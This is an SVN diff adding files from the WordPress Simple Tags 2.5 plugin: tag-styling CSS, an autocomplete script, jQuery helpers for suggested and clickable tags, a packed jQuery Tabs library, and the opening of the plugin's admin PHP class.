+.container_clicktags span{background:#f0f0ee url(../images/tag_purple.png) 3px 50% no-repeat;}
+.container_clicktags span:hover{background:#b6bdd2 url(../images/tag_purple.png) 3px 50% no-repeat;}
+.container_clicktags span{display:block;float:left;background:#f0f0ee;border:solid 1px;color:#333;cursor:pointer;border-color:#ccc #999 #999 #ccc;margin:3px;padding:3px 4px;padding-left:22px;}
+.container_clicktags span:hover{color:#000;background:#b6bdd2;border-color:#0a246a;}
+.container_clicktags span.ttn_topic{background:#f0f0ee url(../images/tag_blue.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_location{background:#f0f0ee url(../images/map.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_person{background:#f0f0ee url(../images/user.png) 3px 50% no-repeat;}
+.container_clicktags span.yahoo{background:#f0f0ee url(../images/yahoo_logo.gif) 3px 50% no-repeat;}
+.container_clicktags span.local{background:#f0f0ee url(../images/tag_purple.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_topic:hover{background:#b6bdd2 url(../images/tag_blue.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_location:hover{background:#b6bdd2 url(../images/map.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_person:hover{background:#b6bdd2 url(../images/user.png) 3px 50% no-repeat;}
+.container_clicktags span.yahoo:hover{background:#b6bdd2 url(../images/yahoo_logo.gif) 3px 50% no-repeat;}
+.container_clicktags span.local:hover{background:#b6bdd2 url(../images/tag_purple.png) 3px 50% no-repeat;}
+
+/* Old tags input */
+#old_tags_input {width:98%;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/bcomplete.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/bcomplete.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/bcomplete.js	(revision 44)
@@ -0,0 +1,472 @@
+RegExp.escape = function(text)
+{
+    if (!arguments.callee.sRE)
+    {
+        var specials = [
+            '/', '.', '*', '+', '?', '|',
+            '(', ')', '[', ']', '{', '}', '\\'
+        ];
+
+        arguments.callee.sRE = new RegExp(
+            '(\\' + specials.join('|\\') + ')', 'g'
+        );
+    }
+
+    return text.replace(arguments.callee.sRE,'\\$1');
+};
+
+var BComplete = Class.create();
+BComplete.prototype =
+{
+    MAX_VISIBLE : 8,
+    TIMER_TICK : 10,
+    CANCEL_SUBMISSION_TIMEOUT : 10,
+
+    initialize : function(element,max)
+    {
+        if(max)
+        {
+            this.MAX_VISIBLE = max;
+        }
+
+        this.data = new Array();
+        this.element = $(element);
+        if(!this.element)
+        {
+            throw("BComplete: The specified <input> element does not exist.");
+        }
+
+        this.element.setAttribute("autocomplete","off");
+        Element.addClassName(this.element,"bcomplete-field");
+
+        this.visible = false;
+        this.cancelSubmit = false;
+        this.scroll = 0;
+        this.selectedIndex = -1;
+        this.matches = new Array();
+
+        this.popup = document.createElement("div");
+        Element.hide(this.popup);
+        this.popup.className = "bcomplete-popup";
+        document.body.appendChild(this.popup);
+
+        this.upButton = document.createElement("div");
+        this.upButton.className = "up-button";
+        this.popup.appendChild(this.upButton);
+
+        this.listItems = new Array();
+        for(var i=0;i<this.MAX_VISIBLE;i++)
+        {
+            var item = document.createElement("div");
+            this.listItems[i] = item ;
+            item.className = "item";
+            this.popup.appendChild(item);
+            item.autocomplete = this;
+            item.number = i;
+
+            item.onclick = this.onItemClick;
+            item.onmouseover = this.onItemOn;
+            item.onmouseout = this.onItemOff;
+        }
+
+        this.downButton = document.createElement("div");
+        this.downButton.className = "down-button";
+        this.popup.appendChild(this.downButton);
+
+        Event.observe(this.element,"keypress",
+            this.onKeyPress.bindAsEventListener(this));
+        Event.observe(this.element,"keydown",
+            this.onKeyDown.bindAsEventListener(this));
+        Event.observe(this.upButton,"click",
+            this.onUpButton.bindAsEventListener(this));
+        Event.observe(this.downButton,"click",
+            this.onDownButton.bindAsEventListener(this));
+        Event.observe(document,"click",
+            this.onWindowClick.bindAsEventListener(this));
+
+        this.onTick = this.onTick.bind(this);
+        this.onSubmit = this.onSubmit.bind(this);
+
+        // look for parent <form>
+        var parentForm = this.element.parentNode;
+        while(parentForm)
+        {
+            if(parentForm.tagName.toLowerCase() == "form")
+                break;
+
+            parentForm = parentForm.parentNode;
+        }
+
+        // capture submit event for parent <form>
+        var me = this;
+        if(parentForm)
+        {
+            var oldHandler = parentForm.onsubmit;
+            parentForm.onsubmit = function()
+            {
+                if(oldHandler)
+                    return (oldHandler() && me.onSubmit());
+                else
+                    return me.onSubmit();
+            };
+        }
+    },
+
+    addItem : function(item)
+    {
+        this.data[this.data.length] = item;
+        this.data.sort();
+    },
+
+    setData : function(data)
+    {
+        this.data = data;
+        data.sort();
+    },
+
+    loadData : function(url)
+    {
+        var me = this;
+        var success = function(request)
+        {
+            try
+            {
+                var data = eval(request.responseText);
+                if(typeof data == "object")
+                {
+                    me.setData(data);
+                }
+            }
+            catch(exception)
+            {
+                throw("BComplete: Invalid data format.");
+            }
+        };
+
+        var request = new Ajax.Request(url,
+            { method: 'get', onSuccess: success });
+    },
+
+    findMatches : function(text)
+    {
+        var matches = new Array();
+
+        // Modifications for multiples values
+        var exp = new RegExp(",?[^,]*$" , "i");
+        m = text.match(exp);
+        text = m[0].replace(/^[,\s]+|\s+$/g,"");
+
+        // Strict search (old) (must start with...)
+        // var expression = new RegExp("^"+ RegExp.escape(text),"i");
+        // Cool search
+        var expression = new RegExp(RegExp.escape(text),"i");
+
+        for(var i=0;i<this.data.length;i++) {
+            if(this.data[i].match(expression)) {
+                matches[matches.length] = this.data[i];
+            }
+        }
+
+        return matches;
+    },
+
+    temporarilyDisableSubmission : function()
+    {
+        this.cancelSubmit = true;
+        var me = this;
+        var revert = function()
+        {
+            me.cancelSubmit = false;
+        };
+
+        setTimeout(revert,this.CANCEL_SUBMISSION_TIMEOUT);
+    },
+
+    onWindowClick : function(event)
+    {
+        var element = Event.element(event);
+
+        var parent = element;
+        while(parent)
+        {
+            if(parent == this.element || parent == this.popup ||
+               parent == this.showAllButton)
+            {
+                return;
+            }
+
+            parent = parent.parentNode;
+        }
+
+        this.hide();
+    },
+
+    onUpButton : function(event)
+    {
+        this.selectedIndex = -1;
+        this.scroll--;
+        if(this.scroll < 0)
+            this.scroll = 0;
+
+        this.show();
+        Event.stop(event);
+        this.element.focus();
+    },
+
+    onDownButton : function(event)
+    {
+        this.selectedIndex = -1;
+        this.scroll++;
+        if(this.scroll > (this.matches.length - this.MAX_VISIBLE))
+            this.scroll = (this.matches.length - this.MAX_VISIBLE);
+
+        this.show();
+        Event.stop(event);
+        this.element.focus();
+    },
+
+    onKeyDown : function(event)
+    {
+        if(event.keyCode == 13 && this.visible)
+        {
+            this.temporarilyDisableSubmission();
+            this.select();
+            Event.stop(event);
+            return false;
+        }
+    },
+
+    showAll : function()
+    {
+        this.matches = this.findMatches('');
+        this.element.focus();
+        this.show();
+    },
+
+    onKeyPress : function(event)
+    {
+        if(event.keyCode == Event.KEY_TAB)
+        {
+            if(this.visible)
+            {
+                this.select();
+                Event.stop(event);
+                return false;
+            }
+        }
+        else if(event.keyCode == Event.KEY_DOWN)
+        {
+            this.selectedIndex++;
+            if(this.selectedIndex < this.scroll)
+                this.selectedIndex = this.scroll;
+
+            if(this.selectedIndex >= this.matches.length)
+                this.selectedIndex = this.matches.length - 1;
+
+            if(this.scroll <= (this.selectedIndex - this.MAX_VISIBLE))
+                this.scroll++;
+
+            if(this.matches.length == 0)
+            {
+                this.matches = this.findMatches(this.element.value);
+            }
+
+            this.show();
+            Event.stop(event);
+            return;
+        }
+        else if(event.keyCode == Event.KEY_UP)
+        {
+            this.selectedIndex--;
+            if(this.selectedIndex <= -1 && this.scroll <= 0)
+            {
+                this.selectedIndex = -1;
+                this.hide();
+                Event.stop(event);
+                return;
+            }
+
+            if(this.selectedIndex <= -1)
+                this.selectedIndex = this.scroll + (this.MAX_VISIBLE - 1);
+
+            if(this.scroll > this.selectedIndex)
+                this.scroll--;
+
+            this.show();
+            Event.stop(event);
+            return;
+        }
+        else if(event.keyCode != 13)
+        {
+            if(this.timerId)
+                clearTimeout(this.timerId);
+
+            this.timerId = setTimeout(this.onTick,this.TIMER_TICK);
+        }
+    },
+
+    onTick : function()
+    {
+        this.selectedIndex = -1;
+        this.scroll = 0;
+        if(this.element.value != '')
+        {
+            this.matches = this.findMatches(this.element.value);
+            if(this.matches.length > 0)
+                this.show();
+            else
+                this.hide();
+        }
+        else
+        {
+            this.hide();
+        }
+    },
+
+    onSubmit : function()
+    {
+        if(this.cancelSubmit)
+        {
+            this.cancelSubmit = false;
+            return false;
+        }
+        else
+        {
+            return true;
+        }
+    },
+
+    onItemOn : function()
+    {
+        for(var i=0;i<this.autocomplete.MAX_VISIBLE;i++)
+            Element.removeClassName(this.autocomplete.listItems[i],"selected");
+
+        Element.addClassName(this,"selected");
+        this.autocomplete.selectedIndex = this.number;
+    },
+
+    onItemOff : function()
+    {
+        Element.removeClassName(this,"selected");
+        this.autocomplete.selectedIndex = -1;
+    },
+
+    onItemClick : function()
+    {
+        this.autocomplete.selectedIndex = this.number;
+        this.autocomplete.select();
+    },
+
+    show : function()
+    {
+        if(this.matches.length <= 0)
+            return ;
+
+        var text = this.element.value;
+
+	    // Modifications for multiples values
+		var exp = new RegExp(",?[^,]*$" , "i");
+		m = text.match(exp);
+		text = m[0].replace(/^[,\s]+|\s+$/g,"");
+
+        var expression = new RegExp("("+RegExp.escape(text)+")","i");
+
+        if(this.scroll > 0)
+            Element.removeClassName(this.upButton,"disabled")
+        else
+            Element.addClassName(this.upButton,"disabled")
+
+        if((this.scroll + this.MAX_VISIBLE) < this.matches.length)
+            Element.removeClassName(this.downButton,"disabled")
+        else
+            Element.addClassName(this.downButton,"disabled")
+
+        for(var i=0;i<this.MAX_VISIBLE;i++)
+        {
+            if(this.matches[i+this.scroll])
+            {
+                var text = this.matches[i+this.scroll];
+                text = text.replace(expression,"<strong>$1</strong>");
+                this.listItems[i].innerHTML = text;
+                this.listItems[i].number = i + this.scroll;
+                this.listItems[i].value = this.matches[i+this.scroll];
+
+                if(this.selectedIndex == (this.scroll + i))
+                    Element.addClassName(this.listItems[i],"selected");
+                else
+                    Element.removeClassName(this.listItems[i],"selected");
+
+                Element.show(this.listItems[i]);
+            }
+            else
+            {
+                Element.hide(this.listItems[i]);
+            }
+        }
+
+        this.visible = true;
+        Element.show(this.popup);
+        this.setPopupPosition();
+    },
+
+    setPopupPosition : function()
+    {
+        var position = Position.cumulativeOffset(this.element);
+        var scrollY = document.body.scrollTop ?
+            document.body.scrollTop : document.documentElement.scrollTop;
+        var viewHeight = (navigator.userAgent.toLowerCase().indexOf("safari") != -1 &&
+            window.innerHeight) ? window.innerHeight :
+                document.documentElement.clientHeight;
+
+        this.popup.style.width = (this.element.offsetWidth - 2) + "px";
+        this.popup.style.left = position[0] + "px";
+
+        var popupTop = position[1] + Element.getHeight(this.element);
+        if((popupTop + this.popup.offsetHeight > scrollY + viewHeight) &&
+           (position[1] - this.popup.offsetHeight > scrollY))
+        {
+            popupTop = position[1] - this.popup.offsetHeight;
+        }
+
+        this.popup.style.top = popupTop + "px";
+    },
+
+    hide : function()
+    {
+        this.matches = new Array();
+        this.selectedIndex = -1;
+        this.scroll = 0;
+        this.visible = false;
+        Element.hide(this.popup);
+    },
+
+    select : function()
+    {
+        if(this.selectedIndex != -1)
+        {
+            // Modifications for multiples values
+            //this.element.value += this.matches[this.selectedIndex]+', ';
+            this.element.value = this.element.value.replace(/(,?\s?)[^,]*$/i, "$1" + this.matches[this.selectedIndex] + ', ');
+        }
+        setCaretToEnd(this.element);
+        this.hide();
+    }
+};
+
+function setSelectionRange(input, selectionStart, selectionEnd) {
+  if (input.setSelectionRange) {
+    input.focus();
+    input.setSelectionRange(selectionStart, selectionEnd);
+  }
+  else if (input.createTextRange) {
+    var range = input.createTextRange();
+    range.collapse(true);
+    range.moveEnd('character', selectionEnd);
+    range.moveStart('character', selectionStart);
+    range.select();
+  }
+}
+
+function setCaretToEnd (input) {
+  setSelectionRange(input, input.value.length, input.value.length);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-add-tags.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-add-tags.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-add-tags.js	(revision 44)
@@ -0,0 +1,10 @@
+function addTag(tag) {
+	var tag_entry = document.getElementById("old_tags_input");
+	if ( tag_entry.value.length > 0 && !tag_entry.value.match(/,\s*$/) ) {
+		tag_entry.value += ", ";
+	}
+	var re = new RegExp(tag + ",");
+	if ( !tag_entry.value.match(re) ) {
+		tag_entry.value += tag + ", ";
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-click-tags.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-click-tags.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-click-tags.js	(revision 44)
@@ -0,0 +1,22 @@
+jQuery(document).ready(function() {
+	jQuery("#old-tagsdiv h3").prepend('<div style="float:right;"><a href="#st_click_tags" id="clicktags">'+show_txt+'</a><a href="#st_click_tags" id="close_clicktags">'+hide_txt+'</a></div>');
+	    		    		
+	jQuery("a#clicktags").click(function() {					
+		jQuery("#st_click_tags")
+			.fadeIn('slow')
+			.load( site_url + '/wp-admin/admin.php?st_ajax_action=click_tags', function(){
+				jQuery("#st_click_tags span").click(function() { addTag(this.innerHTML); });
+				jQuery("a#clicktags").hide();
+				jQuery("a#close_clicktags").show();
+			});						
+		return false;
+	});
+	
+	jQuery("a#close_clicktags").click(function() {	
+		jQuery("#st_click_tags").fadeOut('slow', function() {
+			jQuery("a#clicktags").show();
+			jQuery("a#close_clicktags").hide();
+		});
+		return false;
+	});
+});
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-options.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-options.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-options.js	(revision 44)
@@ -0,0 +1,27 @@
+jQuery(document).ready( function() {
+	jQuery('#printOptions').tabs({fxSlide: true});
+	
+	jQuery('input#cloud_max_color')
+		.ready(function(){cloudMaxColor()})
+		.click(function(){cloudMaxColor()})
+		.blur(function(){cloudMaxColor()})
+		.change(function(){cloudMaxColor()})
+		.focus(function(){cloudMaxColor()});					
+	function cloudMaxColor() {
+		jQuery('div.cloud_max_color').css({
+			backgroundColor: jQuery('input#cloud_max_color').val()
+		});
+	}
+	
+	jQuery('input#cloud_min_color')
+		.ready(function(){cloudMinColor()})
+		.click(function(){cloudMinColor()})
+		.blur(function(){cloudMinColor()})
+		.change(function(){cloudMinColor()})
+		.focus(function(){cloudMinColor()});					
+	function cloudMinColor() {
+		jQuery('div.cloud_min_color').css({
+			backgroundColor: jQuery('input#cloud_min_color').val()
+		});
+	}				
+});
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-suggested-tags.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-suggested-tags.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/helper-suggested-tags.js	(revision 44)
@@ -0,0 +1,50 @@
+function getContentFromEditor() {
+	var data = '';
+	if ( (typeof tinyMCE != "undefined") && tinyMCE.activeEditor && !tinyMCE.activeEditor.isHidden() ) { // Tiny MCE
+		tinyMCE.triggerSave();
+		data = jQuery("#content").val().stripTags();
+	} else if ( typeof FCKeditorAPI != "undefined" ) { // FCK Editor
+		var oEditor = FCKeditorAPI.GetInstance('content') ;
+		data = oEditor.GetHTML().stripTags();
+	} else if ( typeof WYM_INSTANCES != "undefined" ) { // Simple WYMeditor
+		data = WYM_INSTANCES[0].xhtml().stripTags();
+	} else { // No editor, just quick tags
+		data = jQuery("#content").val().stripTags();
+	}
+	return data;
+}
+
+function registerClickTags() {
+	jQuery("#suggestedtags .inside span").click(function() { addTag(this.innerHTML); });
+	jQuery('#st_ajax_loading').hide();
+	if ( jQuery('#suggestedtags .inside').css('display') != 'block' ) {
+		jQuery('#suggestedtags').toggleClass('closed');
+	}
+}
+
+jQuery(document).ready(function() {
+	// Yahoo API
+	jQuery("a.yahoo_api").click(function() {
+		jQuery('#st_ajax_loading').show();
+		jQuery("#suggestedtags .inside").load( site_url + '/wp-admin/admin.php?st_ajax_action=tags_from_yahoo', {content:getContentFromEditor(),title:jQuery("#title").val(),tags:jQuery("#tags-input").val()}, function(){
+			registerClickTags();
+		});
+		return false;
+	});	
+	// Local Tags Database
+	jQuery("a.local_db").click(function() {
+		jQuery('#st_ajax_loading').show();
+		jQuery("#suggestedtags .inside").load( site_url + '/wp-admin/admin.php?st_ajax_action=tags_from_local_db', {content:getContentFromEditor(),title:jQuery("#title").val()}, function(){
+			registerClickTags();
+		});
+		return false;
+	});
+	// Tag The Net API
+	jQuery("a.ttn_api").click(function() {
+		jQuery('#st_ajax_loading').show();
+		jQuery("#suggestedtags .inside").load( site_url + '/wp-admin/admin.php?st_ajax_action=tags_from_tagthenet', {content:getContentFromEditor(),title:jQuery("#title").val()}, function(){
+			registerClickTags();
+		});
+		return false;
+	});
+});
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/jquery.tabs.pack.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/jquery.tabs.pack.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/js/jquery.tabs.pack.js	(revision 44)
@@ -0,0 +1,14 @@
+/**
+ * Tabs - jQuery plugin for accessible, unobtrusive tabs
+ * @requires jQuery v1.1.1
+ *
+ * http://stilbuero.de/tabs/
+ *
+ * Copyright (c) 2006 Klaus Hartl (stilbuero.de)
+ * Dual licensed under the MIT and GPL licenses:
+ * http://www.opensource.org/licenses/mit-license.php
+ * http://www.gnu.org/licenses/gpl.html
+ *
+ * Version: 2.7.4
+ */
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(4($){$.2l({z:{2k:0}});$.1P.z=4(x,w){3(O x==\'2Y\')w=x;w=$.2l({K:(x&&O x==\'1Z\'&&x>0)?--x:0,12:C,J:$.1f?2h:T,18:T,1r:\'2X&#2Q;\',21:\'18-2F-\',1m:C,1u:C,1l:C,1F:C,1x:\'2u\',2r:C,2p:C,2m:T,2i:C,1d:C,1c:C,1j:\'z-1M\',H:\'z-2b\',14:\'z-12\',16:\'z-26\',1q:\'z-1H\',1L:\'z-2L\',2j:\'10\'},w||{});$.8.1D=$.8.U&&($.8.1Y&&$.8.1Y<7||/2A 6.0/.2y(2x.2w));4 1w(){1V(0,0)}F 5.Y(4(){2 p=5;2 r=$(\'13.\'+w.1j,p);r=r.V()&&r||$(\'>13:9(0)\',p);2 j=$(\'a\',r);3(w.18){j.Y(4(){2 c=w.21+(++$.z.2k),B=\'#\'+c,2f=5.1O;5.1O=B;$(\'<10 S="\'+c+\'" 34="\'+w.16+\'"></10>\').2c(p);$(5).19(\'1B\',4(e,a){2 b=$(5).I(w.1L),X=$(\'X\',5)[0],27=X.1J;3(w.1r){X.1J=\'<24>\'+w.1r+\'</24>\'}1p(4(){$(B).2T(2f,4(){3(w.1r){X.1J=27}b.17(w.1L);a&&a()})},0)})})}2 n=$(\'10.\'+w.16,p);n=n.V()&&n||$(\'>\'+w.2j,p);r.P(\'.\'+w.1j)||r.I(w.1j);n.Y(4(){2 a=$(5);a.P(\'.\'+w.16)||a.I(w.16)});2 s=$(\'A\',r).20($(\'A.\'+w.H,r)[0]);3(s>=0){w.K=s}3(1e.B){j.Y(4(i){3(5.B==1e.B){w.K=i;3(($.8.U||$.8.2E)&&!w.18){2 a=$(1e.B);2 b=a.15(\'S\');a.15(\'S\',\'\');1p(4(){a.15(\'S\',b)},2D)}1w();F T}})}3($.8.U){1w()}n.1a(\':9(\'+w.K+\')\').1C().1n().2C(\':9(\'+w.K+\')\').I(w.1q);$(\'A\',r).17(w.H).9(w.K).I(w.H);j.9(w.K).N(\'1B\').1n();3(w.2m){2 l=4(d){2 c=$.2B(n.1t(),4(a){2 h,1A=$(a);3(d){3($.8.1D){a.Z.2z(\'1X\');a.Z.G=\'\';a.1k=C}h=1A.L({\'1h-G\':\'\'}).G()}E{h=1A.G()}F h}).2v(4(a,b){F b-a});3($.8.1D){n.Y(4(){5.1k=c[0]+\'1W\';5.Z.2t(\'1X\',\'5.Z.G = 5.1k ? 5.1k : "2s"\')})}E{n.L({\'1h-G\':c[0]+\'1W\'})}};l();2 q=p.1U;2 m=p.1v;2 v=$(\'#z-2q-2o-V\').1t(0)||$(\'<X S="z-2q-2o-V">M</X>\').L({1T:\'2n\',3a:\'39\',38:\'37\'}).2c(Q.1S).1t(0);2 o=v.1v;36(4(){2 b=p.1U;2 a=p.1v;2 c=v.1v;3(a>m||b!=q||c!=o){l((b>q||c<o));q=b;m=a;o=c}},35)}2 u={},11={},1R=w.2r||w.1x,1Q=w.2p||w.1x;3(w.1u||w.1m){3(w.1u){u[\'G\']=\'1C\';11[\'G\']=\'1H\'}3(w.1m){u[\'W\']=\'1C\';11[\'W\']=\'1H\'}}E{3(w.1l){u=w.1l}E{u[\'1h-2g\']=0;1R=1}3(w.1F){11=w.1F}E{11[\'1h-2g\']=0;1Q=1}}2 t=w.2i,1d=w.1d,1c=w.1c;j.19(\'2e\',4(){2 c=$(5).1g(\'A:9(0)\');3(p.1i||c.P(\'.\'+w.H)||c.P(\'.\'+w.14)){F T}2 a=5.B;3($.8.U){$(5).N(\'1b\');3(w.J){$.1f.1N(a);1e.B=a.1z(\'#\',\'\')}}E 3($.8.1y){2 b=$(\'<2d 33="\'+a+\'"><10><32 31="2a" 30="h" /></10></2d>\').1t(0);b.2a();$(5).N(\'1b\');3(w.J){$.1f.1N(a)}}E{3(w.J){1e.B=a.1z(\'#\',\'\')}E{$(5).N(\'1b\')}}});j.19(\'1E\',4(){2 a=$(5).1g(\'A:9(0)\');3($.8.1y){a.1o({W:0},1,4(){a.L({W:\'\'})})}a.I(w.14)});3(w.12&&w.12.1K){29(2 i=0,k=w.12.1K;i<k;i++){j.9(--w.12[i]).N(\'1E\').1n()}};j.19(\'28\',4(){2 a=$(5).1g(\'A:9(0)\');a.17(w.14);3($.8.1y){a.1o({W:1},1,4(){a.L({W:\'\'})})}});j.19(\'1b\',4(e){2 g=e.2Z;2 d=5,A=$(5).1g(\'A:9(0)\'),D=$(5.B),R=n.1a(\':2W\');3(p[\'1i\']||A.P(\'.\'+w.H)||A.P(\'.\'+w.14)||O t==\'4\'&&t(5,D[0],R[0])===T){5.25();F T}p[\'1i\']=2h;3(D.V()){3($.8.U&&w.J){2 c=5.B.1z(\'#\',\'\');D.15(\'S\',\'\');1p(4(){D.15(\'S\',c)},0)}2 f={1T:\'\',2V:\'\',G:\'\'};3(!$.8.U){f[\'W\']=\'\'}4 1I(){3(w.J&&g){$.1f.1N(d.B)}R.1o(11,1Q,4(){$(d).1g(\'A:9(0)\').I(w.H).2U().17(w.H);R.I(w.1q).L(f);3(O 1d==\'4\'){1d(d,D[0],R[0])}3(!(w.1u||w.1m||w.1l)){D.L(\'1T\',\'2n\')}D.1o(u,1R,4(){D.17(w.1q).L(f);3($.8.U){R[0].Z.1a=\'\';D[0].Z.1a=\'\'}3(O 1c==\'4\'){1c(d,D[0],R[0])}p[\'1i\']=C})})}3(!w.18){1I()}E{$(d).N(\'1B\',[1I])}}E{2S(\'2R P 2P 2O 26.\')}2 a=1G.2N||Q.1s&&Q.1s.23||Q.1S.23||0;2 b=1G.2M||Q.1s&&Q.1s.22||Q.1S.22||0;1p(4(){1G.1V(a,b)},0);5.25();F w.J&&!!g});3(w.J){$.1f.2K(4(){j.9(w.K).N(\'1b\').1n()})}})};2 y=[\'2e\',\'1E\',\'28\'];29(2 i=0;i<y.1K;i++){$.1P[y[i]]=(4(d){F 4(c){F 5.Y(4(){2 b=$(\'13.z-1M\',5);b=b.V()&&b||$(\'>13:9(0)\',5);2 a;3(!c||O c==\'1Z\'){a=$(\'A a\',b).9((c&&c>0&&c-1||0))}E 3(O c==\'2J\'){a=$(\'A a[@1O$="#\'+c+\'"]\',b)}a.N(d)})}})(y[i])}$.1P.2I=4(){2 c=[];5.Y(4(){2 a=$(\'13.z-1M\',5);a=a.V()&&a||$(\'>13:9(0)\',5);2 b=$(\'A\',a);c.2H(b.20(b.1a(\'.z-2b\')[0])+1)});F c[0]}})(2G);',62,197,'||var|if|function|this|||browser|eq||||||||||||||||||||||||||tabs|li|hash|null|toShow|else|return|height|selectedClass|addClass|bookmarkable|initial|css||trigger|typeof|is|document|toHide|id|false|msie|size|opacity|span|each|style|div|hideAnim|disabled|ul|disabledClass|attr|containerClass|removeClass|remote|bind|filter|click|onShow|onHide|location|ajaxHistory|parents|min|locked|navClass|minHeight|fxShow|fxFade|end|animate|setTimeout|hideClass|spinner|documentElement|get|fxSlide|offsetHeight|unFocus|fxSpeed|safari|replace|jq|loadRemoteTab|show|msie6|disableTab|fxHide|window|hide|switchTab|innerHTML|length|loadingClass|nav|update|href|fn|hideSpeed|showSpeed|body|display|offsetWidth|scrollTo|px|behaviour|version|number|index|hashPrefix|scrollTop|scrollLeft|em|blur|container|tabTitle|enableTab|for|submit|selected|appendTo|form|triggerTab|url|width|true|onClick|tabStruct|remoteCount|extend|fxAutoHeight|block|font|fxHideSpeed|watch|fxShowSpeed|1px|setExpression|normal|sort|userAgent|navigator|test|removeExpression|MSIE|map|not|500|opera|tab|jQuery|push|activeTab|string|initialize|loading|pageYOffset|pageXOffset|such|no|8230|There|alert|load|siblings|overflow|visible|Loading|object|clientX|value|type|input|action|class|50|setInterval|hidden|visibility|absolute|position'.split('|'),0,{}))
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/simple-tags.admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/simple-tags.admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/simple-tags.admin.php	(revision 44)
@@ -0,0 +1,2339 @@
+<?php
+Class SimpleTagsAdmin {
+	var $version = '';
+
+	var $info;
+	var $options;
+	var $default_options;
+	var $db_options = 'simpletags';
+
+	var $admin_base_url = '';
+
+	// Error management
+	var $message = '';
+	var $status = '';
+
+	// Tags for Editor
+	var $all_tags = false;
+	
+	// Tags list (management)
+	var $nb_tags = 50;
+
+	/**
+	 * PHP4 Constructor - Intialize Admin
+	 *
+	 * @return SimpleTagsAdmin
+	 */
+	function SimpleTagsAdmin( $default_options = array(), $version = '', $info = array() ) {	
+		// 1. load version number
+		$this->version = $version;
+		unset($version);
+
+		// 2. Set class property for default options
+		$this->default_options = $default_options;
+
+		// 3. Get options from WP
+		$options_from_table = get_option( $this->db_options );
+
+		// 4. Update default options by getting not empty values from options table
+		foreach( (array) $default_options as $default_options_name => $default_options_value ) {
+			if ( !is_null($options_from_table[$default_options_name]) ) {
+				if ( is_int($default_options_value) ) {
+					$default_options[$default_options_name] = (int) $options_from_table[$default_options_name];
+				} else {
+					$default_options[$default_options_name] = $options_from_table[$default_options_name];
+				}
+			}
+		}
+
+		// 5. Set the class property and unset no used variable
+		$this->options = $default_options;
+		unset($default_options);
+		unset($options_from_table);
+		unset($default_options_value);
+
+		// 6. Get info data from constructor
+		$this->info = $info;
+		unset($info);
+
+		// 8. Admin URL and Pagination
+		$this->admin_base_url = $this->info['siteurl'] . '/wp-admin/admin.php?page=';
+
+		// 9. Admin Capabilities
+		add_action('init', array(&$this, 'initRoles'));
+
+		// 10. Admin menu
+		add_action('admin_menu', array(&$this, 'adminMenu'));
+		add_action('admin_notices', array(&$this, 'displayMessage'));		
+
+		// 11. Ajax action, JS Helper and admin action
+		add_action('init', array(&$this, 'ajaxCheck'));
+		add_action('init', array(&$this, 'checkFormMassEdit'));
+
+		// 12. Embedded Tags
+		if ( $this->options['use_embed_tags'] == 1 ) {
+			add_action('save_post', array(&$this, 'saveEmbedTags'));
+			add_action('publish_post', array(&$this, 'saveEmbedTags'));
+			add_action('post_syndicated_item', array(&$this, 'saveEmbedTags'));
+		}
+
+		// 13. Auto tags
+		if ( $this->options['use_auto_tags'] == 1 ) {
+			add_action('save_post', array(&$this, 'saveAutoTags'));
+			add_action('publish_post', array(&$this, 'saveAutoTags'));	
+			add_action('post_syndicated_item', array(&$this, 'saveAutoTags'));			
+		}
+	
+		// 14. Save tags from old input
+		add_action('save_post', array(&$this, 'saveTagsOldInput'));
+		add_action('publish_post', array(&$this, 'saveTagsOldInput'));	
+
+		// 15. Tags helper for page
+		if ( $this->options['use_tag_pages'] == 1 ) {
+			add_action('edit_page_form', array(&$this, 'helperTagsPage'), 1); // Tag input
+			
+			if ( $this->options['use_autocompletion'] == 1 ) {
+				add_action('dbx_page_advanced', array(&$this, 'helperBCompleteJS'));
+			}			
